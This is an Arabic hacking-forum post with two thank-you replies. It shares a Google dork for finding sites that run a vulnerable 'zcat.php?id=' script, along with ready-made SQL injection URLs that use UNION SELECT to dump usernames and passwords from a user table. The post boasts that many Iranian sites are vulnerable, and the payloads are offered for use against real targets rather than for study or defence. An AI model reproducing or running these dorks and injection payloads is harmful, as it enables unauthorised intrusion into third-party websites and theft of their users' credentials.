ثغرة سيكول والمواقع ايرانيه بالهبل

[kad2006]

بسم الله الرحمن الرحيم

الدورك
كود:

inurl:"zcat.php?id="

الاستغلال

كود:

[ Exploit ]

http://server/zcat.php?id=-1+union+select+1,2,concat(user,char(58),pass),4,5+ from+user



http://server/cat.php?id=-3+union+select+1,group_concat(id,0x3a,user,0x3a,pa ss),3,4+from+user


[ ExOMPLE ]


http://server/zcat.php?id=-64+union+select+1,2,concat%28user,char%2858%29,pas s%29,4,5+from+user

منقووووول بعنف

[هاوي حنانك]

الف شكر على هذا النقل والطرح الرااااائع والله يعطيك العافية

[الهكر المجهول]

مشكوووووووووووور علي الثغرة